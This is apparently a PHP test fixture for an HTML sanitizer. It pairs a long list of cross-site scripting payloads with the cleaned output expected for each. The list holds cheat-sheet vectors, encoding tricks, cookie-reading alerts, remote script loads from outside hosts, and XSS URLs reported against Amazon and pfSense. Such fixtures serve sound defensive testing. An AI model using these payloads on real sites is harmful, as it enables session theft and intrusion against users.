'<iframe sandbox="allow-same-origin allow-forms allow-scripts" src="http://example.org/"></iframe>' => '<iframe sandbox="allow-same-origin allow-forms allow-scripts" src="http://example.org/"></iframe>',
'<!-- `<img/src=xx:xx onerror=alert(1)//--!>' => '<!-- `<img/>',
'<title onpropertychange=alert(1)></title><title title=></title>' => '<title ></title><title title=></title>',
'<iframe src="data:text/html,<iframe src=\'data:text/html,%26lt;iframe onload=alert(1)>\'>"></iframe>' => '< iframe src="data:text/html,<iframe src=\'data:text/html,<iframe >\'>"></iframe>',
'<!--<img src="--><img src=x onerror=alert(1)//">' => '<!--<img >&>',
'<frameset onload=alert(1)>' => '< frameset >',
'<body oninput=alert(1)><input autofocus>' => '< body >< input autofocus>',
'<video poster=javascript:alert(1)//></video>' => '< video poster=(1)//></video>',
'<a style="-o-link:\'javascript:alert(1)\';-o-link-source:current">X</a>' => '<a >X</a>',
'<a href="applescript://com.apple.scripteditor?action=new&script=display%20dialog%20%22Hello%2C%20World%21%22">applescript</a>' => '<a href="//com.apple.scripteditor?action=new&script=display dialog ">applescript</a>',
'<a onmouseoveronmouseover="alert(document.cookie)"onmouseover="alert(document.cookie)">xxs</a>' => '<a >xxs</a>',
'<a onmouseover="alert(document.cookie)">xxs</a>' => '<a >xxs</a>',
'<a onmouseover=alert(document.cookie)>xxs</a>' => '<a >xxs</a>',
'<a onerror="alert(document.cookie)">xxs</a>' => '<a >xxs</a>',
'<a onerror=`alert(document.cookie)`>xxs</a>' => '<a >xxs</a>',
'<a href=http://foo.bar STYLE=xss:expression(alert("XSS"))>xxs style</a>' => '<a >xxs style</a>',
'<SCRIPT>alert(\'XSS\');</SCRIPT>' => '',
'\'\';!--"<XSS onclick="alert">=&{()}' => '\'\';!--"<XSS >=&{()}',
'<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>' => '',
'<IMG SRC="javascript:alert(\'XSS\');">' => '<IMG SRC="(\'XSS\');">',
'<IMG SRC=javascript:alert(\'XSS\')>' => '<IMG >',
'<IMG SRC=JaVaScRiPt:alert(\'XSS\')>' => '<IMG >',
'<IMG SRC=javascript:alert("XSS")>' => '<IMG >',
'<IMG SRC=`javascript:alert("RSnake says, \'XSS\'")`>' => '<IMG >',
'<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>' => '<IMG >',
'SRC=
<IMG 6;avascript:alert('XSS')>' => 'SRC=
<IMG 6;avascript:alert(\'XSS\')>',
'<IMG SRC=javascript:alert('XSS')>' => '<IMG >',
'<IMG SRC=javascript:alert('XSS')>' => '<IMG >',
'<IMG SRC="jav ascript:alert(\'XSS\');">' => '<IMG SRC="(\'XSS\');">',
'<IMG SRC="jav	ascript:alert(\'XSS\');">' => '<IMG SRC="(\'XSS\');">',
'<IMG SRC="jav
ascript:alert(\'XSS\');">' => '<IMG src="">',
'<IMG SRC="  javascript:alert(\'XSS\');">' => '<IMG SRC="  (\'XSS\');">',
'<IMG%0aSRC%0a=%0a"%0aj%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0at%0a:%0aa%0al%0ae%0ar%0at%0a(%0a\'%0aX%0aS%0aS%0a\'%0a)%0a"%0a>' => "<IMG\nSRC\n=\n\"\n(\n'\nX\nS\nS\n'\n)\n\"\n>",
'<IMG SRC=java%00script:alert(\"XSS\")>' => '<IMG >',
'<SCR%00IPT>alert(\"XSS\")</SCR%00IPT>' => '',
'<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>' => '',
'<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>' => '',
'<IMG SRC="javascript:alert(\'XSS\')"' => '<IMG src=""',
'<SCRIPT>a=/XSS/' => '',
'\";alert(\'XSS\');//' => '\";alert(\'XSS\');//',
'<INPUT TYPE="IMAGE" SRC="javascript:alert(\'XSS\');">' => '<INPUT TYPE="IMAGE" SRC="(\'XSS\');">',
'<BODY BACKGROUND="javascript:alert(\'XSS\')">' => '<BODY BACKGROUND="(\'XSS\')">',
'<BODY ONLOAD=alert(\'XSS\')>' => '<BODY >',
'<IMG DYNSRC="javascript:alert(\'XSS\')">' => '<IMG DYNSRC="(\'XSS\')">',
'<IMG LOWSRC="javascript:alert(\'XSS\')">' => '<IMG LOWSRC="(\'XSS\')">',
'<BGSOUND SRC="javascript:alert(\'XSS\');">' => '<IMG >',
'<DIV STYLE="width:' . "\n" . 'expression(alert(\'XSS\'));">' => '<DIV >',
'<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>' => '<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>',
'<LINK REL="stylesheet" HREF="javascript:alert(\'XSS\');">' => '<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">',
'<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">' => '<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">',
'<link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d' => '<link rel=stylesheet href=data:,*{x:write(1))}',
'<STYLE>@import\'http://ha.ckers.org/xss.css\';</STYLE>' => '<STYLE>@import\'http://ha.ckers.org/xss.css\';</STYLE>',
'<style>p[foo=bar{}*{-o-link:\'javascript:alert(1)\'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>' => '<style>p[foo=bar{}*{-o-link:\'(1)\'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>',
'<DIV STYLE="width: expression(alert(\'XSS\'));">lall</div>' => '<DIV >lall</div>',
'<DIV STYLE=\'width: expression(alert("XSS"));\'>lall</div>' => '<DIV >lall</div>',
'<DIV STYLE="width: expression(alert(\'XSS\'));" title="lall" STYLE=\'width: expression(alert("XSS"));\'>lall</div>' => '<DIV title="lall" >lall</div>',
'<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">' => '<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">',
'<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>' => '<STYLE>BODY{:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>',
'<IMG SRC=\'vbscript:msgbox("XSS")\'>' => '<IMG SRC=\'("XSS")\'>',
'<IMG SRC="mocha:[code]">' => '<IMG SRC="">',
'<IMG SRC="livescript:[code]">' => '<IMG SRC="">',
'<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(\'XSS\');">' => '<META HTTP-EQUIV="refresh" CONTENT="0;url=PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">',
'<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">' => '<META HTTP-EQUIV="refresh" CONTENT="0;url=PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">',
'<META HTTP-EQUIV="Link" Content="<javascript:alert(\'XSS\')>; REL=stylesheet">' => '<META HTTP-EQUIV="Link" Content="<(\'XSS\')>; REL=stylesheet">',
'<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(\'XSS\');">' => '<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=(\'XSS\');">',
'<a><a><p></a></p><meta property="the:property" content="No results for;url=hxxp://www.maliciousxss.com" HTTP-EQUIV="refresh" blah=" (Page 1)" />foobar</a>' => '<a><a><p></a></p><meta property="the:property" content="No results for;url=hxxp://www.maliciousxss.com" HTTP-EQUIV="refresh" blah=" (Page 1)" />foobar</a>',
'<IFRAME SRC="javascript:alert(\'XSS\');"></IFRAME>' => '<FRAMESET><FRAME SRC="(\'XSS\');"></FRAMESET>',
'<FRAMESET><FRAME SRC="javascript:alert(\'XSS\');"></FRAMESET>' => '<FRAMESET><FRAME SRC="(\'XSS\');"></FRAMESET>',
'<TABLE BACKGROUND="javascript:alert(\'XSS\')">' => '<TABLE BACKGROUND="(\'XSS\')">',
'<DIV STYLE="background-image: url(javascript:alert(\'XSS\'))">' => '<DIV >',
'<DIV STYLE="width: expression(alert(\'XSS\'));">' => '<DIV >',
'<STYLE>@im\port\'\ja\vasc\ript:alert("XSS")\';</STYLE>' => '<STYLE>@im\port\'\ja\vasc\ript:alert("XSS")\';</STYLE>',
'<IMG STYLE="xss:expr/*XSS*/ession(alert(\'XSS\'))">' => '<IMG >',
'<XSS STYLE="xss:expression(alert(\'XSS\'))">' => '<XSS >',
'exp/*<XSS STYLE=\'no\xss:noxss("*//*");>' => 'exp/*<XSS >',
'<STYLE TYPE="text/javascript">alert(\'XSS\');</STYLE>' => '<STYLE TYPE="text/javascript">alert(\'XSS\');</STYLE>',
'<STYLE>.XSS{background-image:url("javascript:alert(\'XSS\')");}</STYLE><A CLASS=XSS></A>' => '<STYLE TYPE="text/javascript">alert(\'XSS\');</STYLE>',
'<STYLE type="text/css">BODY{background:url("javascript:alert(\'XSS\')")}</STYLE>' => '<STYLE type="text/css">BODY{background:url("(\'XSS\')")}</STYLE>',
'<BASE HREF="javascript:alert(\'XSS\');//">' => '<BASE HREF="(\'XSS\');//">',
'<object allowscriptaccess="always" data="test.swf"></object>' => '<object allowscriptaccess="always" data="test.swf"></object>',
'<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>' => '<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>',
'<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(\'XSS\')></OBJECT>' => '<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=(\'XSS\')></OBJECT>',
'getURL("javascript:alert(\'XSS\')")' => 'getURL("(\'XSS\')")',
'<EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always"></EMBED>' => '<EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always"></EMBED>',
'<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>' => '<EMBED SRC="PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>',
'<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert(\'XSS\');">' => '<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG src="">',
'<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>' => '<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>',
'<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert(\'XSS\')"></B></I></XML>' => '<XML ID="xss"><I><B><IMG src=""></B></I></XML>',
'<HTML><BODY>' => '<HTML><BODY>',
'<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>' => '',
'<!--#exec cmd="/bin/echo \'<SCRIPT SRC\'"--><!--#exec cmd="/bin/echo \'=http://ha.ckers.org/xss.js></SCRIPT>\'"-->' => '<!--#exec cmd="/bin/echo \'<!--#exec cmd="/bin/echo \'=http://ha.ckers.org/xss.js>\'"-->',
'<? echo(\'<SCR)\';' => '<? echo(\'<SCR)\';',
'<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(\'XSS\')</SCRIPT>">' => '<META HTTP-EQUIV="Set-Cookie" Content="USERID=">',
'<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(\'XSS\');+ADw-/SCRIPT+AD4-' => '<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>', // UTF-7
'<img src="http://test.de/[0xE0]">
... foo ...
... bar ...
" onerror="alert(\'XSS\')"
<div>lall</div>' => '<img src="http://test.de/[0xE0]">
... foo ...
... bar ...
" ="alert(\'XSS\')"
<div>lall</div>',
'<script>+-+-1-+-+alert(1)</script>' => '',
'<body/onload=<!-->
alert(1)>' => "<body/\nalert(1)>",
'<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe' => '<a >ClickMe',
'<--`<img/src=` onerror=alert(1)> --!>' => '<--`<img/> --!>',
'<script/src=data:text/javascript,ale™t(1)></script> ' => ' ',
'<meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>' => '<meta charset="x-imap4-modified-utf7">&alert&A7&(1)&R&UA;&&<&A9&11/script&X&>',
'<div id=”3″><meta charset=”x-imap4-modified-utf7″>&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//[“‘`–>]]>]</div>' => '<div id=”3″><meta charset=”x-imap4-modified-utf7″>&alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//[“‘`–>]]>]</div>',
'<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>' => '" >',
'<SCRIPT a=">" \'\' SRC="http://ha.ckers.org/xss.js"></SCRIPT>' => '" \'\' >',
'<SCRIPT "a=\'>\'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>' => '\'" >',
'<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>' => '` >',
'onAttribute="bar"' => '="bar"',
"onAttribute=\"<script>alert('bar')</script>\"" => '=""',
"<BGSOUND SRC=\"javascript:alert('XSS');\">" => '<BGSOUND SRC="(\'XSS\');">', // BGSOUND
"<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">" => "<LINK REL=\"stylesheet\" HREF=\"('XSS');\">", // STYLE sheet
'<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</styel>foo' => '<STYLE>BODY{:url("http://ha.ckers.org/xssmoz.xml#xss")}</styel>foo', // Remote style sheet
"<STYLE>@im\\port'\\jaasc\ript:alert(\"XSS\")';</STYLE>" => "<STYLE>@im\port'\jaasc\ript:alert(\"XSS\")';</STYLE>", // STYLE tags with broken up JavaScript for XSS
"<XSS STYLE=\"xss:expression_r(alert('XSS'))\">" => '<XSS >', // Anonymous HTML with STYLE attribute
'<XSS STYLE="behavior: url(xss.htc);">' => '<XSS >', // Local htc file
'¼script¾alert(¢XSS¢)¼/script¾' => '', // US-ASCII encoding
"<IMG defang_SRC=javascript:alert\("XSS"\)>" => '<IMG >', // IMG
'<IMG SRC=javascript:alert('XSS')>' => '<IMG >',
'<img src =x onerror=confirm(document.cookie);>' => '<img >',
"<IMG SRC=\"jav ascript:alert('XSS');\">" => '<IMG SRC="(\'XSS\');">',
"<IMG SRC=\"jav	ascript:alert('XSS');\">" => '<IMG SRC="(\'XSS\');">',
"<IMG SRC=\"jav	ascript:alert)'XSS');\">" => '<IMG SRC=")\'XSS\');">',
"<IMG SRC=\"jav
ascript:alert('XSS');\">" => '<IMG SRC="(\'XSS\');">',
'<test lall=&amp;#039;jav
ascript:alert(\\&amp;#039;XSS\\&amp;#039;);&amp;#039;>' => "<test lall='(\'XSS\');'>",
"<IMG SRC\n=\n\"\nj\na\nv\n
a\ns\nc\nr\ni\np\nt\n:\na\nl\ne\nr\nt\n(\n'\nX\nS\nS\n'\n)\n;\">" => "<IMG SRC\n=\n\"\n(\n'\nX\nS\nS\n'\n)\n;\">",
"<IMG SRC=java�script:alert('XSS')>" => '<IMG >',
"<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028\\0027\\0058\\0053\\0053\\0027\\0029'\\0029\">" => '<DIV >',
"<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>" => '<STYLE>.XSS{background-image:url("(\'XSS\')");}</STYLE><A ></A>',
"<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">" => '<META HTTP-EQUIV="refresh" CONTENT="0;url=(\'XSS\');">', // META
"<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>" => '<IFRAME SRC="(\'XSS\');"></IFRAME>', // IFRAME
'<applet code=A21 width=256 height=256 archive="toir.jar"></applet>' => '<applet code=A21 width=256 height=256 archive="toir.jar"></applet>',
'<applet code="javascript:confirm(document.cookie);">' => '<applet code="();">',
'<script Language="JavaScript" event="FSCommand (command, args)" for="theMovie">...</script>' => '...', // <script>
'<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>' => 'PT >', // XSS using HTML quote encapsulation
'<SCR�IPT>alert("XSS")</SCR�IPT>' => '',
"Би шил идэй чадна,<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>我能吞下玻璃而不傷身體</br>" => 'Би шил идэй чадна,<STYLE>li {list-style-image: url("(\'XSS\')");}</STYLE><UL><LI>我能吞下玻璃而不傷身體</br>',
"';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//\"\; alert(String.fromCharCode(88,83,83))//\"\;alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>" => '\';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//"\; alert(String.fromCharCode(88,83,83))//"\;alert(String.fromCharCode(88,83,83))//-->">\'>',
'म काँच खान सक्छू र मलाई केहि नी हुन्न् <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>।' => 'म काँच खान सक्छू र मलाई केहि नी हुन्न् <IMG >।',
"https://[host]/testing?foo=bar&tab=<script>alert('foobar')</script>" => 'https://[host]/testing?foo=bar&tab=',
'https://[host]/diag_logs_filter.phpfilterlogentries_submit=1&filterlogentries_qty=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E' => "https://[host]/diag_logs_filter.phpfilterlogentries_submit=1&filterlogentries_qty='\">", // XSS to attack "pfSense" - https://www.htbridge.com/advisory/HTB23251
'https://[host]/diag_logs_filter.phpfilterlogentries_submit=1&filterlogentries_protocolflags=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E' => "https://[host]/diag_logs_filter.phpfilterlogentries_submit=1&filterlogentries_protocolflags='\">",
'https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_s ourceport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E' => "https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_s ourceport='\">",
'https://[host]/diag_logs_filter.phpfilterlogentries_submit=1&filterlogentries_destinationport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E' => "https://[host]/diag_logs_filter.phpfilterlogentries_submit=1&filterlogentries_destinationport='\">",
'https://[host]/diag_logs_filter.phpfilterlogentries_submit=1&filterlogentries_destinationipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3 E' => "https://[host]/diag_logs_filter.phpfilterlogentries_submit=1&filterlogentries_destinationipaddress='\">",
'https://[host]/diag_logs_filter.phpfilterlogentries_submit=1&filterlogentries_sourceport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E' => "https://[host]/diag_logs_filter.phpfilterlogentries_submit=1&filterlogentries_sourceport='\">",
'https://[host]/diag_logs_filter.phpfilterlogentries_submit=1&filterlogentries_sourceipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E' => "https://[host]/diag_logs_filter.phpfilterlogentries_submit=1&filterlogentries_sourceipaddress='\">",
'https://[host]/diag_logs_filter.phpfilterlogentries_submit=1&filterlogentries_time=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E' => "https://[host]/diag_logs_filter.phpfilterlogentries_submit=1&filterlogentries_time='\">",
"http://www.amazon.com/review/R3FSGZJ3NBYZM/?id=brute'-alert('XSSPOSED' )-'logic" => "http://www.amazon.com/review/R3FSGZJ3NBYZM/?id=brute'-alert('XSSPOSED' )-'logic", // XSS from amazon -> https://www.xssposed.org/search/?search=amazon.com&type=host&
"User-Agent: </script><svg/onload=alert('xssposed')>" => 'User-Agent: <svg/>',
"https://www.amazon.com/gp/aw/ya/181-1583093-7256013/\"></form><script>a lert('Lohit Tummalapenta')</script>" => 'https://www.amazon.com/gp/aw/ya/181-1583093-7256013/"></form>',
"https://aws.amazon.com/amis?ami_provider_id=4&architecture='\"--></ style></script><script>alert(0x015E00)</script>&selection=ami_prov ider_id+architecture" => 'https://aws.amazon.com/amis?ami_provider_id=4&architecture=\'"--></ style>&selection=ami_prov ider_id+architecture',
'pipe=ssrProductAds&step=2&userName=1211&replyTo=test%40xssed.com&subjectEscape=&subject=Unable+to+re gister+for+Product+Ads&emailMessageEscape=&emailMessage=&displayName=%27%22%3E%3Ciframe+src%3Dhttp:% 2F%2Fxssed.com%3E&companyURL=&address1=&address2=&city=&state=&zipCode=&country=United+States&ccCard holderName=&ccIssuer=V&addCreditCardNumber=&ccExpMonth=10&ccExpYear=2010&businessAddressCheck=useBus inessAddress&billingAddress1=&billingAddress2=&billingCity=&billingState=&billingZipCode=&billingCou ntry=United+States&Continue=&_pi_legalName=121&_pi_tokenID=A1F3841M9ZHMMV&_pi_pipe=ssrProductAds&_pi _email=kf%40xssed.com&_pi_step=1&_pi_areaCode=112&_pi_phone1=121&_pi_userName=1211&_pi_ext=211221212 1&_pi_phone2=1221' => "pipe=ssrProductAds&step=2&userName=1211&replyTo=test@xssed.com&subjectEscape=&subject=Unable+to+re gister+for+Product+Ads&emailMessageEscape=&emailMessage=&displayName='\"><iframe+src=http:% 2F/xssed.com>&companyURL=&address1=&address2=&city=&state=&zipCode=&country=United+States&ccCard holderName=&ccIssuer=V&addCreditCardNumber=&ccExpMonth=10&ccExpYear=2010&businessAddressCheck=useBus inessAddress&billingAddress1=&billingAddress2=&billingCity=&billingState=&billingZipCode=&billingCou ntry=United+States&Continue=&_pi_legalName=121&_pi_tokenID=A1F3841M9ZHMMV&_pi_pipe=ssrProductAds&_pi _email=kf@xssed.com&_pi_step=1&_pi_areaCode=112&_pi_phone1=121&_pi_userName=1211&_pi_ext=211221212 1&_pi_phone2=1221",
'http://www.amazon.com/s?ie=UTF5&keywords="><script>alert(document. cookie)</script>' => 'http://www.amazon.com/s?ie=UTF5&keywords=">',
'http://www.amazon.com/gp/digital/rich-media/media-player.html?ie=UTF8& amp;location=javascript:alert(1)&ASIN=B000083JTS' => 'http://www.amazon.com/gp/digital/rich-media/media-player.html?ie=UTF8& amp;location=(1)&ASIN=B000083JTS',
'http://r-images.amazon.com/s7ondemand/brochure/flash_brochure.jsp?comp any=ama1&sku=AtHome7&windowtitle=XSS</title><plaintext>' => 'http://r-images.amazon.com/s7ondemand/brochure/flash_brochure.jsp?comp any=ama1&sku=AtHome7&windowtitle=XSS</title><plaintext>',
"http://www.amazon.com/s/ref=amb_link_7189562_72/002-2069697-5560831?ie =UTF8&node="/><script>alert('XSS');</script>&a mp;pct-off=25-&hidden-keywords=athletic|outdoor&pf_rd_m=ATVPDK IKX0DER&pf_rd_s=center-5&pf_r" => 'http://www.amazon.com/s/ref=amb_link_7189562_72/002-2069697-5560831?ie =UTF8&node="/>&a mp;pct-off=25-&hidden-keywords=athletic|outdoor&pf_rd_m=ATVPDK IKX0DER&pf_rd_s=center-5&pf_r',
'https://sellercentral.amazon.com/gp/on-board/workflow/Registration/log in.html?passthrough/&passthrough/account=soa"><script>alert("XSS") </script>&passthrough/superSource=OAR&passthrough/marketplaceI D=ATVPDKI' => 'https://sellercentral.amazon.com/gp/on-board/workflow/Registration/log in.html?passthrough/&passthrough/account=soa">&passthrough/superSource=OAR&passthrough/marketplaceI D=ATVPDKI',
'http://sellercentral.amazon.com/gp/seller/product-ads/registration.htm l?ld="><script>alert(document.cookie)</script>' => 'http://sellercentral.amazon.com/gp/seller/product-ads/registration.htm l?ld=">',
'https://sellercentral.amazon.com/gp/change-password/-"><script>alert(d ocument.cookie)</script>-.html' => 'https://sellercentral.amazon.com/gp/change-password/-">-.html',
'http://www.amazon.com/s/ref=sr_a9ps_home/?url=search-alias=aps&tag =amzna9-1-20&field-keywords=-"><script>alert(document.cookie)</scr ipt>' => 'http://www.amazon.com/s/ref=sr_a9ps_home/?url=search-alias=aps&tag =amzna9-1-20&field-keywords=-">',
'http://www.amazon.com/s/ref=amb_link_7581132_5/102-9803838-3100108?ie= UTF8&node="/><script>alert("XSS");</scr ipt>&keywords=Lips&emi=A19ZEOAOKUUP0Q&pf_rd_m=ATVPDKIKX 0DER&pf_rd_s=left-1&pf_rd_r=1JMP7' => 'http://www.amazon.com/s/ref=amb_link_7581132_5/102-9803838-3100108?ie= UTF8&node="/>&keywords=Lips&emi=A19ZEOAOKUUP0Q&pf_rd_m=ATVPDKIKX 0DER&pf_rd_s=left-1&pf_rd_r=1JMP7',
"http://askville.amazon.com/SearchRequests.do?search=\"></script><script >alert('XSS')</script>&start=0&max=10&open=true&closed =true&x=18&y=7" => 'http://askville.amazon.com/SearchRequests.do?search=">&start=0&max=10&open=true&closed =true&x=18&y=7',
'https://sellercentral.amazon.com/gp/seller/registration/login.html?ie= UTF8&email=&errors=<script src=http://ha.ckers.org/xss.js?/>&userName=&tokenID=AO9UIQIH15 TE' => 'https://sellercentral.amazon.com/gp/seller/registration/login.html?ie= UTF8&email=&errors=&userName=&tokenID=AO9UIQIH15 TE',
'https://sellercentral.amazon.com/gp/seller/registration/login.html?ie= UTF8&email=<script src=http://ha.ckers.org/xss.js?/>&userName=&tokenID=AO9UIQIH15 TE' => 'https://sellercentral.amazon.com/gp/seller/registration/login.html?ie= UTF8&email=&userName=&tokenID=AO9UIQIH15 TE',
'address-daytime-phone=&address-daytime-phone-areacode=%24Q%24%2F%3E&address-daytime-phone-ext=&pipel ine-return-directly=1&pipeline-return-handler=fx-pay-pages%2Fmanage-pay-pages%2F&pipeline-return-han dler-type=post&pipeline-return-html=fx%2Fhelp%2Fgetting-started.html&pipeline-type=payee&register-bi lling-address-id=jgmhpujplj&register-credit-card-id=A1V46DGTZUE15I&register-enter-checking-info=no&r egister-epay-registration-status-check=no&register-nickname=pg5of16&register-payment-program=tipping &input-address-daytime-phone-areacode=%22%2F%3E%3Cscript+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fxss.js%3F %2F%3E&input-address-daytime-phone=&input-address-daytime-phone-ext=&input-register-nickname=xss&inp ut-register-enter-checking-info=no&x=0&y=0' => 'address-daytime-phone=&address-daytime-phone-areacode=$Q$/>&address-daytime-phone-ext=&pipel ine-return-directly=1&pipeline-return-handler=fx-pay-pages/manage-pay-pages/&pipeline-return-han dler-type=post&pipeline-return-html=fx/help/getting-started.html&pipeline-type=payee®ister-bi lling-address-id=jgmhpujplj®ister-credit-card-id=A1V46DGTZUE15I®ister-enter-checking-info=no&r egister-epay-registration-status-check=no®ister-nickname=pg5of16®ister-payment-program=tipping &input-address-daytime-phone-areacode="/>&input-address-daytime-phone=&input-address-daytime-phone-ext=&input-register-nickname=xss&inp ut-register-enter-checking-info=no&x=0&y=0',
'c=A2H6YBKBHMURHR&t=1&o=4&process_form=1&email_address=%22%2F%3E%3Cscript+src%3Dhttp%3A%2F%2Fha.ckers .org%2Fxss.js%3F%2F%3E&password=&x=0&y=0' => 'c=A2H6YBKBHMURHR&t=1&o=4&process_form=1&email_address="/>&password=&x=0&y=0',
"https://affiliate-program.amazon.com/gp/associates/help/glossary/'>\">< SCRIPT/SRC=http://kusomiso.com/xss.js></SCRIPT>" => "https://affiliate-program.amazon.com/gp/associates/help/glossary/'>\">",
"https://affiliate-program.amazon.com/gp/associates/help/main.html/'>\"> <SCRIPT/SRC=http://kusomiso.com/xss.js></SCRIPT>" => "https://affiliate-program.amazon.com/gp/associates/help/main.html/'>\"> ",
"http://www.amazon.com/gp/daily/ref=\"/><script>alert('XSS $4.99 S&H')</script>" => 'http://www.amazon.com/gp/daily/ref="/>',
